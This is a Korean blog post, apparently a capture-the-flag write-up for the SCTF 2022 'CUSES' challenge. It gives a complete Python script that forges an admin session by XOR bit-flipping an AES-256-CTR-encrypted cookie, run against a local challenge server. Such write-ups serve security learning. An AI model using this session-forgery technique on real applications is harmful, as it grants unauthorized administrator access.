본문 바로가기
CTF

[SCTF 2022] CUSES

by skyepodium 2023. 5. 21.

1. 개요

aes-256-ctr 문제, 세션 조작 문제

 

2. 분석

주석에 적힌대로 guest/guestpassword 를 입력하면 로그인됩니다.

 

코드를 보면 aes-256-ctr을 사용해서 세션을 생성하고 있고, 세션 생성에서 username을 꺼내옵니다.

 

- ctr - XOR 연산을 사용

- 세션에는 username이 포함됨(예: 'guest', 'admin')

 

3. exploit

- guest/guestpassword 로 로그인 후 세션을 받습니다.

- 세션에서 'guest' 가 포함된 부분을 'admin'으로 바꿉니다. XOR이 적용되었기 때문에 복호화 가능합니다.

   - ex) 'a'에 적용된 ctr 암호화 결과 = 'g'에 적용된 암호화 결과 ^ 'g' ^ 'a'

- 세션을 바꿔서 플래그를 얻어옵니다.

import re
from base64 import b64decode, b64encode
from urllib.parse import unquote, quote

import requests


def login() -> str:
    data = {
        'username': 'guest',
        'password': 'guestpassword'
    }
    s = requests.Session()
    s.post("http://localhost:35357/signin.php", data=data)
    session_data = s.cookies.get_dict()
    return session_data['SESSION']


def edit_session_to_admin(session: str) -> str:
    base64decoded = b64decode(unquote(session))
    iv, session_data = base64decoded.split(b'|', 1)
    session_data = list(session_data)

    for i, (guest_byte, admin_byte) in enumerate(zip(b'guest', b'admin')):
        session_data[i] = session_data[i] ^ guest_byte ^ admin_byte

    new_session = quote(b64encode(iv + b'|' + bytes(session_data)))
    return new_session


def get_flag(session: str) -> str:
    s = requests.Session()
    s.cookies.set('SESSION', session)
    r = s.get("http://localhost:35357/index.php")
    pattern = re.compile('<br>Flag: ([a-zA-Z0-9_{}]+)		</p>')
    flag = re.search(pattern, r.text).group(1)
    return flag


if __name__ == '__main__':
    guest_session = login()
    print('guest_session', guest_session)
    admin_session = edit_session_to_admin(guest_session)
    print('admin_session', admin_session)
    flag = get_flag(admin_session)
    print('flag', flag)

 

'CTF' 카테고리의 다른 글

[SECCON - Beginners_CTF_2021] osoba  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] werewolf  (0) 2023.05.28
[SCTF 2022] Imageium  (0) 2023.05.20
[SCTF 2022] DocxArchive  (0) 2023.05.20
[SCTF 2022] Yet Another Injection  (0) 2023.05.20